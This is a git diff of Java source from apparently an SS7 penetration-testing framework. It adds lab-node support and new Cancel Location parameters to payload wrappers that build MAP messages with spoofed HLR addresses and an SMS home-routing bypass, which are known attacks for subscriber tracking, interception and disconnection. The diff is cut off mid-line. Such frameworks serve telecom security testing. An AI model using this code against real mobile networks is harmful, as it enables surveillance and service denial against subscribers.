com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -88,7 +89,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { getTargetHlrGt(); var calledGt = sccpParamFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpParamFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/CLPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/CLPayloadWrapper.java index ff632bc..472834d 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/CLPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/CLPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -42,6 +43,7 @@ import org.mobicents.protocols.ss7.map.api.MAPApplicationContext; import org.mobicents.protocols.ss7.map.api.MAPApplicationContextName; import org.mobicents.protocols.ss7.map.api.MAPException; +import org.mobicents.protocols.ss7.map.api.primitives.AddressNature; import org.mobicents.protocols.ss7.map.api.service.mobility.MAPDialogMobility; import org.mobicents.protocols.ss7.map.api.service.mobility.locationManagement.CancellationType; @@ -52,17 +54,22 @@ public class CLPayloadWrapper extends JSs7PayloadWrapper dialogGenerator, String imsi, - String targetVlrGt, String spoofHlr, String targetHlrGt, String mapVersion) { + String targetVlrGt, String spoofHlr, String targetHlrGt, CancellationType cancellationType, + String newMscGt, String mapVersion) { super(localGt, localSsn, remoteSsn, nodeConfig, sccpAdapter, mapAdapter, dialogGenerator); this.imsi = imsi; this.targetVlrGt = targetVlrGt; this.spoofHlr = spoofHlr; this.targetHlrGt = targetHlrGt; + this.cancellationType = cancellationType; + this.newMscGt = newMscGt; this.mapVersion = mapVersion; } @@ -80,7 +87,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { callingPc, getLocalSsn()); var calledGt = sccpFactory.createGlobalTitle(getTargetVlrGt(), TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); @@ -95,10 +105,11 @@ public void addToCarrier(MAPDialogMobility dialog) throws SystemException { var mapFactory = getMapAdapter().getParamFactory(); var imsi = mapFactory.createIMSI(getImsi()); - // TODO Check CancellationType.subscriptionWithdraw - dialog.addCancelLocationRequest(imsi, null, CancellationType.updateProcedure, - null, null, false, false, - null, null, null); + var newMsc = mapFactory.createISDNAddressString(AddressNature.international_number, + org.mobicents.protocols.ss7.map.api.primitives.NumberingPlan.ISDN, newMscGt); + + dialog.addCancelLocationRequest(imsi, null, cancellationType, null, + null, false, false, newMsc, null, null); } catch (MAPException e) { var msg = "Failed to add CL to dialog"; diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/DsdPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/DsdPayloadWrapper.java index 86e98d3..376a0ab 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/DsdPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/DsdPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -83,7 +84,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { callingPc, getLocalSsn()); var calledGt = sccpFactory.createGlobalTitle(getTargetVlrGt(), TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/IsdPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/IsdPayloadWrapper.java index 2457801..50988a3 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/IsdPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/IsdPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -126,7 +127,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { callingPc, getLocalSsn()); var calledGt = sccpFactory.createGlobalTitle(getTargetVlrGt(), TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PsiPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PsiPayloadWrapper.java index 435593b..c9768a7 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PsiPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PsiPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -76,7 +77,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { callingGt, callingPc, getLocalSsn()); var calledGt = sccpParamFactory.createGlobalTitle(getTargetVlrGt(), TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpParamFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PurgeMsPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PurgeMsPayloadWrapper.java index 93f2e24..e3e8cf8 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PurgeMsPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/PurgeMsPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -87,7 +88,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { getTargetHlrGt(); var calledGt = sccpFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/RestoreDataPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/RestoreDataPayloadWrapper.java index 81ca6ba..00a16bb 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/RestoreDataPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/RestoreDataPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -85,7 +86,10 @@ public MAPDialogMobility generateCarrier() throws SystemException, ValidationExc getCc(), getNdc()); var calledGt = sccpFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_MOBILE_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SaiPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SaiPayloadWrapper.java index cd46702..a7d0461 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SaiPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SaiPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -81,7 +82,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { getTargetHlrGt(); var calledGt = paramFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = paramFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SendIdentificationPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SendIdentificationPayloadWrapper.java index baded59..a3bbaec 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SendIdentificationPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/SendIdentificationPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -77,7 +78,10 @@ public MAPDialogMobility generateCarrier() throws SystemException { localPc, getLocalSsn()); var calledGt = paramFactory.createGlobalTitle(getTargetVlrGt(), TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = paramFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/UlPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/UlPayloadWrapper.java index eb63c9b..d356802 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/UlPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/UlPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -101,7 +102,10 @@ public MAPDialogMobility generateCarrier() throws SystemException, ValidationExc getCc(), getNdc()); var calledGt = sccpFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_MOBILE_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/oam/SendImsiPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/oam/SendImsiPayloadWrapper.java index f0b16e6..b433fcc 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/oam/SendImsiPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/oam/SendImsiPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -83,7 +84,10 @@ public MAPDialogOam generateCarrier() throws SystemException { getTargetHlrGt(); var calledGt = paramFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = paramFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/packet/SriGprsPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/packet/SriGprsPayloadWrapper.java index fcbf6b4..72b3055 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/packet/SriGprsPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/packet/SriGprsPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -83,7 +84,10 @@ public MAPDialogPdpContextActivation generateCarrier() throws SystemException { getTargetHlrGt(); var calledGt = sccpParamFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpParamFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/FsmPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/FsmPayloadWrapper.java index 85991dc..81a773a 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/FsmPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/FsmPayloadWrapper.java @@ -32,6 +32,7 @@ import com.rodan.library.model.Validator; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -92,7 +93,10 @@ public MAPDialogSms generateCarrier() throws SystemException { callingPc, getLocalSsn()); var calledGt = sccpFactory.createGlobalTitle(getTargetMscGt(), TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/ReportSmDeliveryStatusPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/ReportSmDeliveryStatusPayloadWrapper.java index 8f9ad82..54550a4 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/ReportSmDeliveryStatusPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/ReportSmDeliveryStatusPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -81,7 +82,10 @@ public MAPDialogSms generateCarrier() throws SystemException { getTargetHlrGt(); var calledGt = sccpFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/SriSmPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/SriSmPayloadWrapper.java index 761be0f..7efe094 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/SriSmPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/sms/SriSmPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -112,7 +113,10 @@ public MAPDialogSms generateCarrier() throws SystemException, ValidationExceptio var numberingPlan = bypassSmsHomeRouting ? ISDN_MOBILE_INDICATOR : ISDN_TELEPHONY_INDICATOR; var calledGt = sccpFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, numberingPlan, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/ClRequest.java b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/ClRequest.java index c1bef60..f8a8b19 100644 --- a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/ClRequest.java +++ b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/ClRequest.java @@ -24,9 +24,19 @@ package com.rodan.intruder.ss7.entities.event.model.mobility; import com.rodan.intruder.ss7.entities.event.model.MapMessage; +import com.rodan.intruder.ss7.entities.event.model.mobility.details.CancellationType; import lombok.Getter; import lombok.ToString; @Getter @ToString public abstract class ClRequest implements MapMessage { + private String imsi; + private CancellationType cancellationType; + private String newMscGt; + + public ClRequest(String imsi, CancellationType cancellationType, String newMscGt) { + this.imsi = imsi; + this.cancellationType = cancellationType; + this.newMscGt = newMscGt; + } } diff --git a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/details/CancellationType.java b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/details/CancellationType.java new file mode 100644 index 0000000..55dcdde --- /dev/null +++ b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/details/CancellationType.java @@ -0,0 +1,52 @@ +/* + * Etisalat Egypt, Open Source + * Copyright 2022, Etisalat Egypt and individual contributors + * by the @authors tag. + * + * This program is free software: you can redistribute it and/or modify + * under the terms of the GNU Affero General Public License as + * published by the Free Software Foundation; either version 3 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Affero General Public License for more details. + * + * You should have received a copy of the GNU Affero General Public License + * along with this program. If not, see + */ + +package com.rodan.intruder.ss7.entities.event.model.mobility.details; + +/** + * @author Ayman ElSherif + */ +public enum CancellationType { + updateProcedure(0), + subscriptionWithdraw(1), + initialAttachProcedure(2); + + private int code; + + private CancellationType(int code) { + this.code = code; + } + + public int getCode() { + return this.code; + } + + public static CancellationType getInstance(int code) { + switch(code) { + case 0: + return updateProcedure; + case 1: + return subscriptionWithdraw; + case 2: + return initialAttachProcedure; + default: + return null; + } + } +} diff --git a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/sms/SriSmRequest.java b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/sms/SriSmRequest.java index c770f2a..71f5738 100644 --- a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/sms/SriSmRequest.java +++ b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/sms/SriSmRequest.java @@ -30,11 +30,11 @@ public abstract class SriSmRequest implements MapMessage { private String msisdn; private String serviceCentreAddress; - private Boolean e214NumberingPlanDetected; + private Boolean useSmsHomeRouter; - public SriSmRequest(String msisdn, String serviceCentreAddress, Boolean 